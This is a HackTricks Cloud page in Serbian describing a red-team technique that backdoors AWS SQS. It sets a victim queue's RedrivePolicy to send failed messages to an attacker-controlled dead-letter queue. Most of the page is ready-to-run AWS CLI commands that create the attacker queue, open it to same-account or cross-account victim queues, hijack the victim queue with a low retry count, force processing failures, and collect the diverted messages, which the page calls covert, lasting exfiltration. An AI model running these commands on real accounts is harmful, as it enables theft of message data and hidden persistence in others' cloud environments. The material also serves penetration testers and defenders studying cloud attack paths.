AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Iskoristite SQS Dead-Letter Queues (DLQs) za tajno preusmeravanje podataka iz victim source queue tako što ćete podesiti njen RedrivePolicy da pokazuje na queue koji kontroliše napadač. Sa niskim maxReceiveCount i izazivanjem ili čekanjem na uobičajene greške u obradi, poruke se automatski preusmeravaju u attacker DLQ bez menjanja producers ili Lambda event source mappings.
Zloupotrebljene dozvole
- sqs:SetQueueAttributes na victim source queue (za postavljanje RedrivePolicy)
- sqs:SetQueueAttributes na attacker DLQ (za postavljanje RedriveAllowPolicy)
- Opcionalno za ubrzanje: sqs:ReceiveMessage na source queue
- Opcionalno za podešavanje: sqs:CreateQueue, sqs:SendMessage
Tok u istom nalogu (allowAll)
Priprema (nalog napadača ili kompromitovani principal):
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
Izvršavanje (pokrenuto kao kompromitovani principal u nalogu žrtve):
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
Ubrzanje (opciono):
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
Validacija:
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
Primer dokaza (Atributi uključuju DeadLetterQueueSourceArn):
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}
Cross-Account Variant (byQueue)
Podesite RedriveAllowPolicy na attacker DLQ tako da dozvoli samo određene victim source queue ARNs:
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
Impact
- Diskretna, trajna data exfiltration/persistence putem automatskog preusmeravanja neuspelih poruka sa victim SQS source queue u attacker-controlled DLQ, uz minimalnu operacionalnu buku i bez promena kod producers ili Lambda mappings.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

